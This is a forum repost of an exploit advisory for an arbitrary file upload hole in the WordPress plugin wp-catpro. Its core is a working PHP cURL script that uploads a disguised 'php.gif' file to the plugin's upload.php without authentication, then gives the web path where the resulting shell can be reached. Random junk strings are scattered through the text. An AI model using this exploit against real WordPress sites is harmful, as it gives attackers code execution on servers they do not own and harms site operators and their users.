中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
) \4 D6 j2 y. I6 h( l
#-----------------------------------------------------------------------
7 e- c1 @# L! i* b& d
6 r6 k8 q& _3 x
作者 => Zikou-16
) _6 B2 d) P: ^7 N
邮箱 =>
zikou16x@gmail.com
( U+ r6 r) g' V
测试系统 : Windows 7 , Backtrack 5r3
8 z& I/ ~" N% T. I- j7 W
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
; b- W& p- f" V. j9 @3 K0 A
####
! a% ^! i7 s; j6 k
: o8 d; z6 u b# N p; k; P6 P
#=> Exploit 信息:
( S4 \3 l- P( ?7 z6 q
------------------
/ s0 X* I" m# Q
# 攻击者可以上传 file/shell.php.gif
7 N! `2 E( N, _* O. w
# ("jpg", "gif", "png") // Allowed file extensions
6 n+ P ]5 }3 g1 k
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
* j. \4 ^. s. i
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
6 P* P, q @- H6 L
------------------
& Q/ O/ ]: t, }8 }; W* _1 V
% ~0 C- v0 D1 \$ D! V0 F4 D
#=> Exploit
^; B6 d5 g, m7 |6 P }4 T8 V$ a2 c
-----------
3 t+ o1 I3 r+ M. Z4 i- |
<?php
|+ K) C4 [: i& \
/ U; a- P" h# D5 w/ E0 ]1 H$ T; x
$uploadfile="zik.php.gif";
/ I! D! Y3 L& _; d8 H/ r% s& n0 K
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
. A/ ~- i. l( s
curl_setopt($ch, CURLOPT_POST, true);
: d; v$ D5 ~ {4 j$ c/ V" T
curl_setopt($ch, CURLOPT_POSTFIELDS,
) s$ \0 W3 a) ?0 p" F) ~- d
array('Filedata'=>"@$uploadfile",
3 f$ I. U, C: |" n
'folder'=>'/wp-content/uploads/catpro/'));
4 K; s% N0 x% _
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4 Y# u9 ?2 z& u/ M& e
$postResult = curl_exec($ch);
' _# d" f4 P* m: V x
curl_close($ch);
5 @& f- X6 H2 A' ~! t9 H& D
; [8 B6 F. V& c, Y' y" r
print "$postResult";
) Q# [( n9 C& Z+ f: g; r2 Y
4 g' G! Z9 [3 t6 k
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
3 X8 [( `3 y8 ?# |: L
?>
, v0 |7 w9 m- e, C0 u
<?php
N. Z% A; c5 M
phpinfo();
+ `* D+ \% r5 |1 E2 v" f
?>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2